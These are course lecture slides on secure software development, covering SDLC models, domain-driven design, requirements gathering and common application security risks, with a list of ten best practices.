Software Security Development

Dr. Ahmed Abdalla

 Objectives
After studying this chapter, the student should be able to:
 Understand the concept of the software life cycle in software engineering.
 Describe two major types of development process, the waterfall and
incremental models.
 Understand the analysis phase and describe two separate approaches in the
analysis phase: procedure-oriented analysis and object-oriented analysis.
 Understand the design phase and describe two separate approaches in the
design phase: procedure-oriented design and object-oriented design.
 Describe the implementation phase and recognize the quality issues in this
phase.
 Describe the testing phase and distinguish between glass-box testing and
blackbox testing.
 Recognize the importance of documentation in software engineering and
distinguish between user documentation, system documentation and
technical documentation.
10.2
Security is an important part of any
application that encompasses critical
functionality. This can be as simple as
securing your database from attacks by
nefarious actors or as complex as applying
fraud processing to a qualified lead before
importing them into your platform.

Slide 3
Course Description

This course deals with security analysis in software

development. Identify and detect vulnerabilities that threaten
systems. Topics include risk modeling, defensive and security
programming on the Internet, the interaction between usability
and trust management, safe usage control, the principle of
least privilege, information overflow, check time versus time to
access, and other related security issues. Advanced topics in
the secure design of computer systems. Security services and
models. Determining security requirements for computer
systems, designing secure software architectures, and verifying
the security of software and computer systems. Types of
attack, means of checking the credibility of messages.

Slide 4
Students should be able to understand in deep the
software development using different systems,
and the matter of the secured system. Also, a clear
concept must be clear for them in the design
matters for security, foundation, threats, mitigation,
and the pattern of the secure development.
Furthermore, students should be aware of the
implementation of any secure design in analyzing
level as a developer.

Slide 5
Knowledge and Understanding
1.Understand the secured software design.
2.Demonstrate the main aspects and of secured
deign.
Skills :
1. Learning about secured design, programming,
reviewing, level of codes, or level of flows in
design.
2. Analysis of secured system requirements.
Values:
Provide a software secured design for a system. Slide 6
A Brief History of SDLC Practices
Software Development Lifecycle (SDLC) describes how software
applications are built. It usually contains the following phases:
Requirements gathering
Analysis of the requirements to guide design
Design of new features based on the requirements
Development of new capabilities (writing code to meet requirements)
Testing and verification of new capabilities—confirming that they do
indeed meet the requirements
Deployment of the new project
Maintenance and evolution of these capabilities once the release goes
out the door

Slide 7
1. Introduction, Why design matters for security Foundation:
Core concepts of domain driven design
2. Concept: Foundation
3. Concept: Threats
4. Concept: Mitigation
5. Concept: Pattern
6. Design: Secure Design
7. Design: Security Design Reviews
8. Implementation: Secure Programming
9. Implementation: Low level coding flaws
10. Implementation: Untrusted input

Slide 8
Core concepts of domain driven design

What is DDD?
• It is a way of thinking and a set of priorities,
aimed at accelerating software projects that have
to deal with complicated domains.
• A Model driven software design approach used
to tackle the complexity of software projects.
• Collection of principles and patterns that help
developers craft elegant systems

Slide 9
Definitions
• Domain A sphere of knowledge or activity. What
an organization does and the world it does it in.
Model A system of abstractions that describes
selected aspects of a domain and ignores
extraneous detail. Explains a complex domain in a
simple way.
• A model is a distilled form of domain
Knowledge ,assumptions, rules and choice

Slide 10
Slide 11
Slide 12
DDD is a Set of Driving Principles

• Speak a Ubiquitous Language within an explicitly

Bounded Context.
• Explore models in a creative collaboration of
domain practitioners and software practitioners.
Focus on the Core Domain.
• Model and implementation are bound…
Developers also responsible for the model

Slide 13
 Ubiquitous Language

Ubiquitous Language A language structured

around the domain model and used by all team
members to connect all the activities of the team
with the software.
Use it consistently in speech, documentation,
diagrams and code. A Change in Ubiquitous
Language

Slide 14
The model we want…

• Helps us solve specific problems in our domain. •

Is not necessarily “realistic”.
• Forms the basis of a language.
• Should remain current.

Slide 15
London Tube Map

Slide 16
Expressing the Model

• The model can be expressed through class diagrams,

explanatory diagrams, sequence diagrams or whatever
conveys the model.
• But, the design document is not the model!
The design document's purpose is to help communicate and
explain the model.

Slide 17
DDD is Agile and Iterative

The problem with Big Design Up Front:

• Models are distilled knowledge.
• At the beginning of a project, the team is as ignorant
as it will ever be.
• Up Front Analysis Locks in Ignorance!

Slide 18
Slide 19
The DDD Process

Slide 20
Slide 21
One Team, One Language, One Model Model

Slide 22
A Complex Domain

Slide 23
Slide 24
The Waterfall model is one of the earliest and best-known
SDLC methodologies, which laid the groundwork for these
SDLC phases. Developed in 1970, these phases largely
remain the same today, but there have been tremendous
changes in software engineering practices that have
redefined how software is created.
Traditionally, software was written for highly specialized
applications, and software programs developed using the
Waterfall methodology often took years to release. Modern-
day practices now focus on increasing the pace of innovation
while continuing to build well-functioning software
applications. Companies have moved on from Waterfall, with
most using some form of the agile SDLC, first published in
Slide 25
Agile development advocates for splitting up large
monolithic releases into multiple mini-releases,
each done in two- or three-week-long sprints, and
uses automation to build and verify applications.
This allows companies to iterate much more quickly.
Instead of the infrequent, monolithic deployments
characteristic of Waterfall-driven applications, agile
development often focuses on releasing new
functionality multiple times a day, building software
incrementally instead of all at once.

Slide 26
What are the Secure Software Development Life Cycle
Processes?

Implementing SDLC security affects every phase of

the software development process. It requires a
mindset that is focused on secure delivery, raising
issues in the requirements and development
phases as they are discovered. This is far more
efficient—and much cheaper—than waiting for
these security issues to manifest in the deployed
application. Secure software development life cycle
processes incorporate security as a component of
every phase of the SDLC.

Slide 27
While building security into every phase of
the SDLC is first and foremost a mindset that
everyone needs to bring to the table, security
considerations and associated tasks will
actually vary significantly by SDLC phase.

Slide 28
Security, as part of the software development process, is an
ongoing process that involves people and practices,
ensuring application confidentiality, integrity, and availability.
Secure software is the result of security-conscious software
development processes where security is ensured and thus
software is developed with security in mind.
Security is most effective if it is planned and managed
throughout every stage of the software development life
cycle (SDLC), especially in mission-critical applications or
those that process sensitive information.

Slide 29
What is cyber security

A successful cybersecurity approach has

multiple layers of protection spread across
the computers, networks, software, or data
that one wishes to preserve. People,
processes, and technology must complement
each other within an organization to create an
effective defense against cyberattacks. A
unified threat management system can
automate integrations across select Cisco
Security products and accelerate key security
operations functions: detection, investigation,
Slide 30
Persons
Users must understand and comply with
basic data security principles such as
choosing strong passwords, being wary of
attachments within email, and backing up
data. Learn more about the basic principles of
cybersecurity

Slide 31
Processes
Organizations must have a framework on
how to deal with incomplete and successful
cyber attacks. One respected framework can
guide you. Shows how you can identify
attacks, protect systems, detect and respond
to threats, and recover from successful
attacks. Watch the video explanation of the
NIST Cybersecurity Framework (1:54)

Slide 32
Technology
Providing technology is essential to give
organizations and individuals the
cybersecurity tools needed to protect
themselves from cyber attacks. Three main
entities must be protected: peripheral devices
such as computers, smart devices, routers,
networks, and the cloud. Common forms of
technology used to protect these entities
include next-generation firewalls, DNS
filtering, malware protection, antivirus Slide 33
Why is cybersecurity important?
In today's connected world, everyone benefits
from advanced cyber defense software. On
an individual level, a cybersecurity attack can
result in many things, from identity theft to
extortion attempts to the loss of important
data like family photos. Everyone depends on
critical infrastructure such as power plants,
hospitals and businesses

Slide 34
Development process models
Although software development process in the software
lifecycle involves four phases: analysis, design,
implementation and testing. There are several models for
the development process. We discuss the two most common
here: the waterfall model and the incremental model.

10.35
 SDLC Model
A framework that describes the activities
performed at each stage of a software
development project.
Waterfall Model
• Requirements – defines
needed information, function,
behavior, performance and
interfaces.
• Design – data structures,
software architecture, interface
representations, algorithmic
details.
• Implementation – source
code, database, user
documentation, testing.
 Waterfall Strengths
• Easy to understand, easy to use
• Provides structure to inexperienced staff
• Milestones are well understood
• Sets requirements stability
• Good for management control (plan, staff, track)
• Works well when quality is more important than
cost or schedule
 Waterfall Deficiencies
• All requirements must be known upfront
• Deliverables created for each phase are
considered frozen – inhibits flexibility
• Can give a false impression of progress
• Does not reflect problem-solving nature of
software development – iterations of phases
• Integration is one big bang at the end
• Little opportunity for customer to preview the
system (until it may be too late)
 Disadvantages of waterfall model

1. Once an application is in the testing stage, it is very

difficult to go back and change something that was not
well-thought out in the concept stage.
2. No working software is produced until late during the life
cycle.
3. High amounts of risk and uncertainty.
4. Not a good model for complex and object-oriented
projects.
5. Poor model for long and ongoing projects.
6. Not suitable for the projects where requirements are at a
moderate to high risk of changing.
 When to use the Waterfall Model
1. This model is used only when the requirements
are very well known, clear and fixed.
2. Product definition is stable.
3. Technology is understood.
4. There are no ambiguous requirements
5. Ample resources with required expertise are
available freely
6. The project is short.
• In Waterfall model, very less customer
interaction is involved during the development of
the product. Once the product is ready then only
it can be demonstrated to the end users.
• Once the product is developed and if any failure
occurs then the cost of fixing such issues are
very high, because we need to update
everything from document till the logic.
• In today’s world, Waterfall model has been
replaced by other models like iterative, agile etc.
• Requirements: what that system is
intended to do.
• requirements analysis : the process of
gaining the necessary understanding of
what that system is intended to do.
 introduction to Requirement Analysis
Principles

• To performed requirement s analysis there

must be some principles or guidelines to be
followed. So there is a set of operational
principles.
• 1. The information domain of a problem must
be represented and understood.
• 2. The functions that the software is
performing must be defined.
• 3. The behaviour of the software (as a
consequence of external events) must be
represented.
• 4. The model is essentially a depiction of information.
Function and behaviour which must be partitioned in a
manner that uncovers detail in layered (or hierarchical)
fashion.
• 5. The analysis process should move form essential
information toward implementation details.
• These principles are applied systematically. In addition to
these operation analysis principles Davis in his book.
Principles of software development have illustrated a set
of six guiding principle s which are given below:
• Ex.: An application for video store
management, could mean different things
to different people, each a somewhat
differing set of requirements. One
interpretation could be an application that
tracks employee time and outputs
paychecks; another, an e-mail application
that processes customer rental requests; a
third, an application that records rented
videos and computes charges; and so on .
 5 types of requirements

• There are different types of project requirements, and

what you decide to document will really depend on the
project. Here are a few categories you might consider:
• 1. Business requirements: These define the project’s
business needs and goals and should help you
understand why this project is happening. Connected to
larger business objectives, they’re often tied to financial,
marketing, or marketplace positioning goals.
• 2. Stakeholder requirements: These requirements
come directly from a project stakeholder or stakeholder
group.
• 3. Technical requirements: These describe specific
behaviors within a technical system that must be
completed to satisfy a user need.
• 4. Functional requirements: If you’re creating a product
or system, these requirements will describe how the
product or experience will function or behave.
• 5. Quality requirements: These requirements set the
standard for the implementation of experience, design,
or code. For example, your project might have
accessibility standards you must meet (e.g., WCAG
AAA).
 What is requirements gathering?

• Requirements gathering is the process of identifying the

tasks, features, or functions that must be complete for a
project to achieve its goals and be defined as a success.
This process happens right at the initial phase of a
project, though requirements might evolve with a project
over time.
• In a perfect world, the sales team or project
sponsor would have the requirements list all
buttoned up to hand off to you. But let’s be
honest: That will never happen because it’s
simply too early in the process to get it done.

• It’s up to you as the project manager to pull

together a concrete list of requirements to guide
the project. (If you have a business analyst on
your team, they may also lend a hand.)
 What is the requirements gathering process?

• While your process may change based on the project size, type, and
information on hand, requirements gathering generally includes
these basic phases:
• Initial discovery: Collecting any possible tasks, features, or
functions the project may require from the project sponsor, client
sales team, and all relevant project stakeholders.
• List refinement: The process of reviewing, refining, and clarifying
the project requirements with a smaller group of key stakeholders.
• Requirement documentation: Capturing the final list of
requirements in a file that can be shared with the project team and
stakeholders.
• Final approval: Confirming all stakeholders share a common
understanding of the project requirements and agree to the final
document.
• Ongoing management: Managing requirements and updating
 Services of Internet Application

• Here are some of the internet application explained

below in detail:
• The internet has many few major applications like
electronic mail services, web browsing, peer to peer
networking. The use of email increases because of its
several features like attachments, messages, data
usage.
• The attachment feature such as word documents, excel
sheets, and graphical media is possible because of
Multipurpose Internet Mail Extensions, but the result is
traffic volume caused by mail is calibrated in terms of
data packets in the network.
• Electronic mail services became a vital part of personal
and professional communication method, and its time
and cost consuming. The data is transmitted and
received securely by encryption. The price of tickets for
transport and sport are received in the mail.
• The web browser is a critical application of
the internet and is highly commercial
dominated by Microsoft and highly
influenced by WWW – World Wide Web.
• The web browser is free and available as
an open-source model that enriches the
minds of future generations. The open-
source has been developed and deployed
on a modular basis since the source code
is accessible only with few usage
restrictions. The open-source feature has
been integrated to file managers and web
browsers.
• Other important applications and potentially needed in
Internet application is peer-to-peer networking.
• This P2P networking is a dynamic method that is based
on the exchanging of physical resources like hard drives,
files, processors and other intelligent features.
• Each group of peer to peer networking has equal
responsibility and functions. Peer-to-peer applications
based on the internet locate the computer at the focus of
the computing matrix based on cross-network protocols
like SOAP Simple Object Access Protocol or Remote
Procedure Calling XML-RPC the user to enter on the
Internet more proactively.
Waterfall Model
• Requirements – defines
needed information, function,
behavior, performance and
interfaces.
• Design – data structures,
software architecture, interface
representations, algorithmic
details.
• Implementation – source
code, database, user
documentation, testing.
 Waterfall Strengths
• Easy to understand, easy to use
• Provides structure to inexperienced staff
• Milestones are well understood
• Sets requirements stability
• Good for management control (plan, staff, track)
• Works well when quality is more important than
cost or schedule
 Waterfall Deficiencies
• All requirements must be known upfront
• Deliverables created for each phase are
considered frozen – inhibits flexibility
• Can give a false impression of progress
• Does not reflect problem-solving nature of
software development – iterations of phases
• Integration is one big bang at the end
• Little opportunity for customer to preview the
system (until it may be too late)
 When to use the Waterfall Model
• Requirements are very well known
• Product definition is stable
• Technology is understood
• New version of an existing product
• Porting an existing product to a new platform.
• What Happens without Secure
Software Development?
 What Happens without Secure
Software Development?

• Cyberattacks make headlines. Duqu and

Stuxnet had everyone talking in 2010 and
2011. And, cyberattacks have only gotten
worse since then. WannaCry hit important
systems in 2017, including Britain’s
National Health Service. GitHub was hit by
a denial of service attack in early 2018.
And a 2021 Log4j vulnerability is still being
exploited today.
 Embedded Systems Aren’t Immune to Secure
Software Engineering Risks

• Embedded systems are increasingly open

to risk. That’s led to recalls in the medical
device and automotive industries. And, the
automotive industry, in particular, is
vulnerable to cyberthreats.
• This is a huge problem.
• Cyberattacks against embedded systems
could lead to wide-scale damage to:
1. Critical infrastructure, including power
generation, oil, and gas refining.
2. Telecommunications.
3. Transportation.
4. Water and waste control systems.
 5 Key Software Security Development
Risk Factors

• The five key secure software development risk

factors are:
• 1. Interdependent systems make software the
weakest link.
• 2. Software size and complexity complicates
testing.
• 3. An outsourced software supply chain
increases risk exposure.
• 4. Sophisticated attacks find more risk.
• 5. Legacy software is reused.
 Common Secure Software
Engineering Issues
• Common Secure Software Engineering Issues in
Today's Application Security (AppSec)
Landscape
• Today, various types of software applications are
developed for embedded systems, mobile
devices, electric vehicles, banking, and
transactional services. However, it is often
overlooked that many apps and digital
experiences are designed and operated without
security measures, which can be risky if security
is not a top priority.
• Related Secure Software Content: Get
an Overview of Application Security
• Even if security is prioritized and secure
software development practices are
implemented, companies can still be
caught off guard. The common issues in
today's application security landscape
include:
• Vulnerabilities in third-party libraries and
frameworks: Many applications rely on
third-party libraries and frameworks, which
can introduce vulnerabilities into the
application if not updated regularly.
• Injection attacks: Injection attacks
involve an attacker injecting malicious
code or commands into an application's
input fields, such as login forms or search
boxes, to gain unauthorized access to the
application or its underlying database.
• Cross-site scripting (XSS): XSS attacks
involve an attacker injecting malicious
code into a website or web application,
which can then execute in the user's
browser, potentially stealing sensitive data
or performing unauthorized actions on
behalf of the user.
• Insecure authentication and
authorization: Poorly designed or
implemented authentication and
authorization mechanisms can allow
attackers to bypass security controls and
gain access to sensitive data or
functionality.
• Insufficient logging and monitoring:
Without adequate logging and monitoring,
it can be difficult to detect and respond to
security incidents or identify the root cause
of security issues.
• Mobile application security: With the
proliferation of mobile devices, ensuring
the security of mobile applications has
become increasingly important. Mobile
applications can be vulnerable to a range
of attacks, including those targeting the
device itself or the application's backend
servers.
• Cloud security: With the growing use of
cloud computing, ensuring the security of
cloud-based applications has become
critical. Cloud-based applications can be
vulnerable to a range of attacks, including
those targeting the cloud infrastructure,
the application itself, or the data stored in
the cloud.
 10 Best Practices for Secure Software
Development

• With the understanding that we could potentially

have one or more of the common AppSec issues
mentioned above, ask yourself, “What are the
most effective ways to ensure security in code
development, practices, processes, or
methodologies?”
• Modern thinking dictates that secure software
development pertains to the approach of
creating software applications that are
intentionally designed and executed with
security considerations.
• Even if you have access to the best testing
toolchains for scanning and analyzing your
software, this process should entail
implementing various practices and
methodologies to identify and alleviate
potential security threats and weaknesses
at every stage of the software
development lifecycle.
• 1. Threat Modeling for Secure Software
• Threat modeling involves analyzing the
software architecture and identifying
potential security threats and
vulnerabilities. This helps in designing the
software with security in mind and
implementing the necessary security
controls.
• 2. Secure Software Coding
• Developers must adhere to secure coding
practices, such as input validation, secure
data storage, and secure communication
protocols. Secure coding practices help to
prevent common security vulnerabilities
such as SQL injection, cross-site scripting,
and buffer overflow attacks.
• 3. Code Review
• Code review involves reviewing the code written
by developers to identify potential security
issues. This helps in detecting and correcting
security vulnerabilities early in the development
process.
• 4. Testing
• Regular security testing, including penetration
testing and vulnerability scanning, can help
identify potential security weaknesses in the
software. This helps in fixing security issues
• 5. Secure Configuration Management
• Configuration management ensures that software
systems are deployed with secure configurations. This
includes configuring access controls, network settings,
and other security-related settings to reduce the risk of
unauthorized access.
• 6. Access Control
• Access control ensures that only authorized personnel
can access the software system. This includes
implementing user authentication and authorization
mechanisms, as well as role-based access control.
• 7. Regular Updates and Patches
• Regular software updates and patches help to
address security vulnerabilities and reduce the
risk of security breaches. It is important to stay
up to date with security patches and updates for
all software components used in the system.
• 8. Security Training
• Developers and other personnel involved in the
software development process should receive
regular security training to ensure that they
understand the importance of security and the
best practices for secure software development.
• 9. Incident Response
• Organizations should have a well-defined
incident response plan in place to respond
to security incidents. This includes
identifying potential security incidents,
containing the impact of security incidents,
and recovering from security incidents.
• 10. Continuous Monitoring
• Continuous monitoring helps in detecting
and responding to security incidents in real
Why Is Security in Software Development
Difficult?

• Secure Software Isn’t a Big Enough Priority

• Security in software development isn’t a big
enough priority for most developers.

• There’s an old saying that you need to:

1. Get to market fast.
2. Include all features planned.
3. Maintain a high level of quality.
• But, you can only have two out of the
three. So, while quality is part of the
conversation, security is often left behind.

• Features and deadlines drive development

checklists. And, secure software usually
isn’t a feature or a requirement. So, it’s
rarely addressed.
 quality Doesn’t Necessarily Guarantee
Security

• Improving software quality and software

integritycan reduce security flaws that result
from defects. But, QA usually doesn’t take
hacking into consideration.
• Too Many Moving Parts in Embedded
Development
• Embedded systems are big and complex.
• There’s new and legacy code — and
connectivity components. And, embedded
systems run on a variety of operating systems.
• Multiple development teams work on
software. And, they’re often spread around
the world.
• Not to mention it’s difficult enough to
ensure that the software functions
properly. It can be even more difficult to
ensure secure software.
• Not Enough Secure Software Training
• Unfortunately, many people involved in software
development don’t know how to recognize security
problems. This includes the security implications of
certain software requirements — or lack thereof.
• And, they don’t know how security impacts the way
software is:
1. Modeled
2. Architected
3. Designed
4. Implemented
5. Tested
6. Prepared for distribution and deployment
• So, developers may not design secure
software. Security requirements may be
lacking. And, developers might not
understand how a mistake turns into a
security vulnerability